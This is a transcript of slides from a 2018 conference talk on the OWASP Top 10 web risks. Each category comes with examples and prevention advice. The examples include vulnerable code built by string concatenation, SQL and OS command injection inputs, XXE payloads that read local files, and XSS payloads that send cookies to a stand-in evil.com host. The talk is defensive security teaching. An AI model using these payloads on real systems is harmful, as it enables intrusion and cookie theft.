OWASP Top 10 - The Ten Most Critical Web Application Security Risks

OWASP recently updated their Top 10 list of Web Application Vulnerabilities. In this talk we’ll break down each vulnerability category, giving an overview, examples of the vulnerability in action, and how you can protect your application from exploitation. All examples will be language and framework agnostic so you can apply it to a wide range of projects. We’ll talk about what has changed on the list since last time it was updated and what new threats are surfacing. We’ll also spend some time talking about various processes and tools you can use to make sure your next project doesn’t end up as a morality tale for other technologists. Whether you’re an application developer, or looking to add security automation to your DevOps pipeline, this talk will help fill in the gaps.

Transcript

1. All Things Open 2018 Michael Peters Technical Lead in Cloud Ops Cisco OWASP Top 10
2. • Open Web Application Security Project • Started in 2001, Foundation started in 2004. • "Produces freely-available articles, methodologies, documentation, tools, and technologies in the field of web application security" • Mainly known for it's "Top 10" list which is periodically updated OWASP What is it? 2
3. • Compile list of top 10 security vulnerabilities found most commonly in the wild. • Using industry and community feedback • Periodically updated to reflect progress or new attacks or to simplify/merge items. • "Fixed" things fall off • New hotness gets added OWASP TOP 10 What is it? 3
4. Grades each vulnerability by Exploitability, Prevalence, Detectability and Technical Impact on a 1-3 scale (3 being worse). OWASP TOP 10 What is it? 4
5. • Last updated in 2017. Previous version was in 2013 • 3 new categories: XXE, Insecure Deserialization, Insufficient Logging and Monitoring • 1 merged category: Broken Access Controls (merged Insecure Direct Object References and Missing Function Level Access Control) • Removed 2 categories: CSRF and Unvalidated Redirects and Forwards OWASP TOP 10 Changes? 5
6. • User-supplied data is used incorrectly in dynamic queries, commands or procedures • More common forms: SQL, No-SQL, OS Command, ORM, LDAP. • All forms of input are evil: HTTP body, HTTP Headers, Cookies, JSON, XML, URL • These "tainted" strings could be used to craft SQL queries, or OS commands. It's non-trivial to get the quoting/escaping right. #1 - INJECTION Exploitability: 3, Prevalence: 2, Detectability: 3 6
7. String query = "SELECT * FROM accounts WHERE custID='" + req.get("id") + "'" #1 - INJECTION Example #1 - SQL Injection 7
8. String query = "SELECT * FROM accounts WHERE custID='" + req.get("id") + "'" http://site.com/account-view? id=%27%20or%20%271%27%3D%271 #1 - INJECTION 8 Example #1 - SQL Injection
9. String query = "SELECT * FROM accounts WHERE custID='" + req.get("id") + "'" http://site.com/account-view?id=' or '1'='1 #1 - INJECTION 9 Example #1 - SQL Injection
10. String cmd = "pdf2html /path/to/docs/" + req.get('doc') + "' > file.html"; #1 - INJECTION 10 Example #2 - OS Command Injection
11. String cmd = "pdf2html /path/to/docs/" + req.get('doc') + "' > file.html"; http://site.com/doc-view?doc=|| cat /etc/passwd #1 - INJECTION 11 Example #2 - OS Command Injection
12. • User-supplied data absolutely should not be trusted. Validate server-side. • For SQL use parameterized queries. ORMs should help • Use a whitelist whenever possible. • DSLs and Shells are complicated beasts and trying to guess at all the ways they can be abused is difficult • If you can't whitelist, be very thorough in escaping and quoting in the context the data is used • "Validate on input; Escape on output" #1 - INJECTION 12 Prevention
13. 13 My friend asked me if I wanted a frozen banana, but I said "No... but I want a regular banana later, so yeah." - Mitch Hedberg
14. • You might be broken if your app: • Allows brute force attacks (no rate limiting) • Permits weak or default credentials • Uses weak credential recovery (eg, "knowledge-based answers") • Uses plain text, encrypted or weakly hashed passwords • Exposes session-ids in URLs • Doesn't invalidate sessions (logout or timeout) #2 - BROKEN AUTHENTICATION Exploitability: 3, Prevalence: 2, Detectability: 2 14
15. • NIST 800-63 actually recommends against using passwords as a sole factor. • Use it as part of multi-factor auth • Or replace with something like OAuth • If you must use passwords: • Enforce strong passwords • Store them securely • strong hash function (Argon2 , PBKDF2 , scrypt or bcrypt) or HMAC • unique salt • protected = salt + hash(salt, credential) #2 - BROKEN AUTHENTICATION 15 Prevention
16. • Rate Limit your login. • Limit from a single source (IP) • Limit for a user • Log all failures • Protect your Forgot PW functionality • Use multiple pieces of hard data • Use generic error messages • Send token over a side-channel (email, text) • Log all attempts to reset and all successes. #2 - BROKEN AUTHENTICATION 16 Prevention
17. 17 I find that a duck's opinion of me is very much influenced over whether or not I have bread. - Mitch Hedberg
18. • What are the data protection needs or your data? • PII, PCI, GDPR, etc • At-Rest vs In-Transit • Clear-Text vs Encrypted • Same rules apply to backups • Any old/weak crypto used? • Any certificates not verified? #3 - SENSITIVE DATA EXPOSURE Exploitability: 2, Prevalence: 3, Detectability: 2 18
19. • An application encrypts credit card numbers in a database using the database's encryption. However, this data is automatically decrypted when retrieved, allowing an SQL injection flaw to retrieve credit card numbers in clear text. #3 - SENSITIVE DATA EXPOSURE Examples 19
20. • A social media site allows advertisers using their API to select which additional fields they want returned. The list of fields wasn't protected but allowed advertisers to select things that were considered private for the users and their friends... 
 
 (and then doesn't tell anyone about it until they shut the service down several months later) #3 - SENSITIVE DATA EXPOSURE Examples 20
21. • Classify all data processed, stored or transmitted • Take into account privacy laws, regulatory requirements and business needs • Don't store sensitive data unnecessarily. Discard it as soon as possible. Data that is not retained can't be leaked • Encrypt all sensitive data at-rest and in-transit • Disable caching for responses that might contain sensitive data #3 - SENSITIVE DATA EXPOSURE 21 Prevention
22. 22 I had a paper route when I was a kid. I was a paperboy. I was supposed to go to 2,000 houses... or two dumpsters. - Mitch Hedberg
23. • Are you doing any processing of user-supplied XML (REST, SOAP, SAML, etc) with DTDs or External Entities enabled? • DTDs/EEs are external URIs that are dereferenced and evaluated during XML processing. • Can be used to extract data, execute a remote request, perform DoS attacks, scan internal systems and more. #4 - XML EXTERNAL ENTITIES (XXE) Exploitability: 2, Prevalence: 2, Detectability: 3 23
24. <?xml version="1.0" encoding="ISO-885901"?> <!DOCTYPE foo [ <!ELEMENT foo any > <!ENTITY xxe SYSTEM "file:///etc/password" >]> <foo>&xxe</foo> 24 Examples #4 - XML EXTERNAL ENTITIES (XXE)
25. <?xml version="1.0" encoding="ISO-885901"?> <!DOCTYPE foo [ <!ELEMENT foo any > <!ENTITY xxe SYSTEM "https://127.0.0.1/ private" >]> <foo>&xxe</foo> 25 Examples #4 - XML EXTERNAL ENTITIES (XXE)
26. <?xml version="1.0" encoding="ISO-885901"?> <!DOCTYPE foo [ <!ELEMENT foo any > <!ENTITY xxe SYSTEM "file:///dev/random" >]> <foo>&xxe</foo> 26 Examples #4 - XML EXTERNAL ENTITIES (XXE)
27. • Use less complex data formats such as JSON • Patch or upgrade all XML processors and libraries • SOAP 1.2+ • Disable XML external entity and DTD processing in your parser • Validate XML or XSL with XSD #4 - XML EXTERNAL ENTITIES (XXE) 27 Prevention
28. 28 I don't have a girlfriend. I just know a girl who would get really mad if she heard me say that. - Mitch Hedberg
29. • Bypassing access controls by modifying the URL or request parameters • Elevation of privilege (acting as an admin when logged in as a normal user) • Metadata manipulation - replaying access tokens, cookies, or changing hidden field values • CORS misconfiguration • Forgetting to configure access controls for other HTTP methods (POST, PUT, DELETE, etc). #5 - BROKEN ACCESS CONTROL Exploitability: 2, Prevalence: 2, Detectability: 2 29
30. http://site.com/your-account?user_id=12839 30 Examples #5 - BROKEN ACCESS CONTROL http://site.com/your-account-admin?user_id=1283
31. • Access should be controlled server-side (do I really have to say that?) • Whitelist public resources. Deny everything else by default • Minimize CORS usage • Access Controls should enforce record ownership • Enforce data access at the Model layer #5 - BROKEN ACCESS CONTROL 31 Prevention
32. • Disable web server directory listing; remove meta-data files (like .git) • Log access control failures, alert where appropriate • Access tokens should be invalidated after logout • Rate limiting can minimize potential harm #5 - BROKEN ACCESS CONTROL 32 Prevention
33. 33 One time a guy handed me a picture, he said "Here's a picture of me when I was younger." Every picture of you is when you were younger. - Mitch Hedberg
34. • Missing security hardening across any part of the application stack • Unnecessary features are enabled or installed • ports, services, accounts, etc • Error handling reveals stack traces • Latest security features are disabled • Settings in the application's servers, frameworks, libraries, etc are not set to secure values • Software is out of date or has known vulnerabilities #6 - SECURITY MISCONFIGURATION Exploitability: 3, Prevalence: 3, Detectability: 3 34
35. • Directory listing is not disabled on the server. An attacker discovers they can simply list directories. The attacker finds your code (or if compiled, downloads and decompiles to get code), reverse engineers it and analyzes it. The attacker then finds a serious access control flaw in the application #6 - SECURITY MISCONFIGURATION Examples 35
36. • You have left your S3 buckets to be publicly accessible because your application needs to read and write from it. Now your backups and logs are accessible to the world. #6 - SECURITY MISCONFIGURATION Examples 36
37. • A development tool is accidentally included in a production deployment. This tools is discovered by attackers who can use it to gain additional access, change stored data or gather other useful details about how the system is implemented. #6 - SECURITY MISCONFIGURATION Examples 37
38. • A repeatable hardening process that makes it fast and easy to deploy a new environment, or lock down an existing one. - DevSecOps & Configuration Management • Minimal platform without any unnecessary features • Review all configuration options to just about every piece (application server, frameworks, cloud storage, etc) • Automated security scans #6 - SECURITY MISCONFIGURATION 38 Prevention
39. 39 I like refried beans. That's why I want to try fried beans. Because maybe they're just as good and we are wasting time. - Mitch Hedberg
40. • Exploits a browser's trust of the content received from the server. • Attackers inject client-side scripts into your application • Can bypass access controls and CORS restrictions • SAMY (MySpace Worm) - within 20 hours over 1 million users were affected. • 3 main types: Reflected, Stored, and DOM #7 - CROSS-SITE SCRIPTING (XSS) Exploitability: 3, Prevalence: 3, Detectability: 3 40
41. • Site uses external input (usually URL) as part of the displayed HTML without escaping it • Misuse of tainted data is server-side • Allows attacker to execute arbitrary HTML and Javascript in the victim's browser as the victim. • Hard for the victim to detect because they are clicking on a link to a trusted domain. #7 - CROSS-SITE SCRIPTING (XSS) Reflected XSS 41
42. #7 - CROSS-SITE SCRIPTING (XSS) Example: Reflected XSS 42 page += "Hi <em>" + req.get('username') + "</em>!"; http://site.com/dashboard?username=George <script>document.location='http://evil.com/ steal-cookies?cookie=' + document.cookie</ script>
43. #7 - CROSS-SITE SCRIPTING (XSS) Stored XSS 43 • The application stores user input and then shows that input back - unencoded - at a later time to a different user or admin. • Stored XSS is considered the most critical because it can't be prevented by the victim and the tainted data lives for a long time.
44. #7 - CROSS-SITE SCRIPTING (XSS) Example: Stored XSS 44 An application stores a user's name. There is also an admin function of the app to show a list of users. The admin screen does not HTML encode the user's name on output. A malicious user submits a name like this: George <script>document.location='http:// evil.com/steal-cookies?cookie=' + document.cookie</script>
45. #7 - CROSS-SITE SCRIPTING (XSS) DOM XSS 45 • Attacker-supplied data is sent to JavaScript frameworks, single-page applications and APIs. • Typical DOM XSS attacks can do DOM node replacement or defacement (trojan login panels), malicious software downloads, key logging, etc. • Misuse of tainted data is client-side
46. #7 - CROSS-SITE SCRIPTING (XSS) Example: DOM XSS 46 <select name="language"><script> document.write("<option value=default>" + document.location.href.indexOf("lang=") + "</ option>"); ... </script></select> http://site.com/home?lang=French <a href="http://evil.com/steal-cookies?cookie=' + document.cookie + '"></a>'
47. • Validate Input and Encode Output based on the context it's used • HTML body, attribute • JavaScript • CSS • URL • In addition, enable a Content Security Policy (CSP) to control where external scripts can be loaded from. #7 - CROSS-SITE SCRIPTING (XSS) 47 Prevention
48. 48 I bought myself a parrot, the parrot talked, but it did not say "I'm hungry"... so it died. - Mitch Hedberg
49. • Object and data structure related attacks if the application data deserialization can change behavior during or after deserialization. Eg, can it create classes or objects on the fly? • Existing data structures or classes can be over- written • Can exist in lots of layers: RPC, IPC, message brokers, caching/persistence, Databases (ORM), file servers, etc • Pretty difficult to exploit because it involves detailed knowledge of app and architecture #8 - INSECURE DESERIALIZATION Exploitability: 1, Prevalence: 2, Detectability: 2 49
50. • A React application calls a set of Spring Boot microservices. Being functional programmers, they tried to ensure that their code is immutable. The solution they came up with is serializing user state and passing it back and forth with each request. An attacker uses the Java Serial Killer tool to gain remote code execution on the application server. #8 - INSECURE DESERIALIZATION Examples 50
51. • Use serialization that only supports primitive data types (like JSON). • If you must use serialized objects, make sure they can't come from user input. • Isolate deserialization code to run in low privilege environments where possible • Log deserialization failures #8 - INSECURE DESERIALIZATION 51 Prevention
52. 52 I think Big Foot is blurry, that's the problem. - Mitch Hedberg
53. • You are vulnerable if: • You don't know the versions of all components (and their dependencies) you use • You don't subscribe to security bulletins for your components • Software is unsupported or out of date • You do not scan for vulnerabilities regularly • You don't upgrade underlying components in a timely, consistent and automated fashion. #9 - KNOWN VULNERABILITIES Exploitability: 2, Prevalence: 3, Detectability: 2 53
54. • Remove any components and packages you aren't actively using • Continuous inventory of version of both client and server side components • Subscribe to security bulletin alerts • Automated software composition analysis tools • Only obtain components from official sources over secure links • Ongoing plan for updating, monitoring, triaging, configuring, etc for the lifetime of the application. #9 - KNOWN VULNERABILITIES 54 Prevention
55. • Equifax was using a vulnerable version of Apache Struts. The vulnerability was disclosed and fixed in March, by September they hadn't updated all of their systems. Some were updated by hand, but others were missed since the process wasn't automated nor routine. 143 million people had their information stolen. #9 - KNOWN VULNERABILITIES Example 55
56. 56 Wearing a turtleneck is like being strangled by a really weak guy... all day. - Mitch Hedberg
57. • Important audit-able events are not logged • logins, failed logins, password changes, etc • Warnings and errors generate no, inadequate or unclear log messages • Logs are not monitored for suspicious activities • Appropriate alerting thresholds are not in place • Penetration testing and scans do not trigger alerts #10 - INSUFFICIENT LOGGING Exploitability: 2, Prevalence: 3, Detectability: 1 57
58. • An attacker uses a security scanner (like the OWASP ZAP Proxy) to look for XSS vulnerabilities in your application. It makes lots of repeated requests that result in lots of 500 HTTP errors in a short period of time. But because there is no monitoring in place, those errors are ignored and no real users are complaining. An attack vector is discovered and a Stored XSS attack is created. #10 - INSUFFICIENT LOGGING Examples 58
59. • Ensure all important events are logged. Especially access control successes and failures. • Ensure logs are generated in a format that is easily consumed • Centralized log management with tampering control • Effective monitoring and alerting to catch suspicious activity. • Establish an incident response and recovery plan: NIST 800-61 #10 - INSUFFICIENT LOGGING 59 Prevention
60. 60 This jacket is dry clean only... which means it's dirty. - Mitch Hedberg
61. • https://www.owasp.org • https://www.owasp.org/images/7/72/ OWASP_Top_10-2017_%28en%29.pdf.pdf • https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet • https://www.owasp.org/index.php/Authentication_Cheat_Sheet • https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project Resources
62. 62 I saw on HBO they were advertising this boxing match, it said "It's a fight to the finish"... that's a good place to end. - Mitch Hedberg